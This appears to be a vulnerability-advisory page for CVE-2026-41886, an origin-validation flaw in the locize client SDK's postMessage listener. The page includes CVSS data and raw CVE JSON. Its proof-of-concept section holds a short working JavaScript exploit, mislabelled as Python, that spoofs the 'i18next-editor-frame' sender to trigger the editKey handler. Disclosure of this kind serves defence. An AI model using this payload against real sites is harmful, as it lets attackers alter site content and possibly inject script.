Security Vulnerability Report
中文
CVE-2026-41886 CVSS 7.5 HIGH

CVE-2026-41886

Published: 2026-05-08 16:16:12
Last Modified: 2026-05-08 16:16:12

Description

locize is a localization platform that connects code and i18n setup. Prior to version 4.0.21, the locize client SDK registers a window.addEventListener("message", …) handler that dispatches to registered internal handlers (editKey, commitKey, commitKeys, isLocizeEnabled, requestInitialize, …) without validating event.origin. The pre-patch listener in src/api/postMessage.js gates dispatch on event.data.sender === "i18next-editor-frame" — that value sits inside the attacker-controlled message payload, not the browser-enforced origin. Any web page that could embed or be embedded by a locize-enabled host — an iframe on a third-party page, a window.open-ed victim, a parent frame reaching down — could send a crafted postMessage and trigger the internal handlers. This issue has been patched in version 4.0.21.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:H/A:L

Configurations (Affected Products)

No configuration data available.

locize client SDK < 4.0.21

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC for CVE-2026-41886 // The vulnerability allows triggering internal handlers by bypassing origin checks. // 1. Assume we have a reference to the victim's window (e.g., via window.opener or iframe contentWindow) let victimWindow = window.opener; if (victimWindow) { // 2. Craft the malicious payload // The vulnerable code checks: event.data.sender === "i18next-editor-frame" // It does NOT check: event.origin const maliciousPayload = { sender: "i18next-editor-frame", // Spoofed sender to bypass the weak check type: "editKey", // Targeting a specific internal handler data: { ns: "translations", key: "exploited_key", value: "malicious_value_injected" } }; // 3. Send the postMessage to the victim // Using '*' as targetOrigin is dangerous but demonstrates the lack of origin validation on receiver side victimWindow.postMessage(maliciousPayload, "*"); console.log("[+] Exploit payload sent to victim window."); } else { console.log("[-] Victim window reference not found."); }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-41886", "sourceIdentifier": "[email protected]", "published": "2026-05-08T16:16:12.060", "lastModified": "2026-05-08T16:16:12.060", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "locize is a localization platform that connects code and i18n setup. Prior to version 4.0.21, the locize client SDK registers a window.addEventListener(\"message\", …) handler that dispatches to registered internal handlers (editKey, commitKey, commitKeys, isLocizeEnabled, requestInitialize, …) without validating event.origin. The pre-patch listener in src/api/postMessage.js gates dispatch on event.data.sender === \"i18next-editor-frame\" — that value sits inside the attacker-controlled message payload, not the browser-enforced origin. Any web page that could embed or be embedded by a locize-enabled host — an iframe on a third-party page, a window.open-ed victim, a parent frame reaching down — could send a crafted postMessage and trigger the internal handlers. This issue has been patched in version 4.0.21."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:H/A:L", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.6, "impactScore": 5.3}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}, {"lang": "en", "value": "CWE-346"}]}], "references": [{"url": "https://github.com/locize/locize/releases/tag/v4.0.21", "source": "[email protected]"}, {"url": "https://github.com/locize/locize/security/advisories/GHSA-w937-fg2h-xhq2", "source": "[email protected]"}]}}